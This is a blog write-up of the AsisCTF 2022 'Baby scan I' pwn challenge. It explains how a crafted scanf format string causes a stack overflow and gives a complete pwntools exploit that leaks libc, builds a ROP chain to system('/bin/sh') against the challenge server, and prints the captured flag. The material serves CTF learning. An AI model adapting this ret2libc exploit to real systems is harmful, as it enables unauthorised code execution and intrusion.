Aynakeya's Blog

Kill My Emotion

[Pwn] Baby scan I [AsisCTF 2022 Qual]

0x0 Introduction

Baby scan I

Is it possible to scan the thousands of resulting strings by hand? We think it’s tedious, but will get the job done!

nc 65.21.255.31 13370

files: babyscan_1

0x1 Mitigation

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

0x2 Vulnerbility

The source code is given

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int main() {
char size[16], fmt[8], *buf;

printf("size: ");
scanf("%15s", size);
if (!isdigit(*size)) {
puts("[-] Invalid number");
return 1;
}
buf = (char*)alloca(atoi(size) + 1);

snprintf(fmt, sizeof(fmt), "%%%ss", size);
scanf(fmt, buf);

return 0;
}

We can see that isdigit only take the first character of our input. We can bypass this check using any string start with a number.

This function also use alloca, alloca will allocate a space on top of the current stack address.

Since the binary doesn't enable canary, if we can perform a buffer overflow on the code, we can control the rip and do a rop chain.

luckily, scanf give us an opportunity to do that. if we use %s in scanf, scanf will scan all the characters until some special character (such as \n, space) appear. This give us a chance to input a payload with any length and overwrite rest of the stack.

Finally payload is 1$s, 1 is used for bypass the check. and the final format string will be %1$ss. This give us the ability to overwrite whole stack.

Then, we can construct a ROP chain to leak libc address and perform ret2libc attack.

0x3 Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

exe = ELF("chall")
exe_rop = ROP(exe)
if args.LOCAL:
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
else:
libc = ELF("libc.so.6")
# ld = ELF("./ld-2.27.so")

context.binary = exe
# context.log_level = 'DEBUG'

def log_print(*msg):
log.info(" ".join(map(str,msg)))
lp = log_print
def start():
if args.LOCAL:

r = process([exe.path])
if args.R2:
input("Wait r2 attach")
else:
r = remote("65.21.255.31", 13370)
return r


io = start()
ret_addr = exe_rop.find_gadget(['ret'])[0]
pop_rdi_ret_addr = exe_rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15_ret_addr = exe_rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
io.sendlineafter(b"size: ",b"1$s")
io.sendlineafter(b"data: ",flat({
0x8*8: 0x0000000000404d00,
0x8*9: [
pop_rdi_ret_addr,
exe.got["puts"],
exe.sym["puts"],
exe.sym["main"],
]
}))
libc.address = int.from_bytes(io.recvuntil(b"\n",drop=True),"little")- libc.sym["puts"]
lp("libc base",hex(libc.address))
io.sendlineafter(b"size: ",b"1$s")
io.sendlineafter(b"data: ",flat({
0x8*9: [
ret_addr,
pop_rdi_ret_addr,
next(libc.search(b"/bin/sh")),
libc.sym["system"],
]
}))
io.interactive()

0x4 Flag

ASIS{06e5ff13b438f5d6626a97758fddde3e502fe3fc}

0%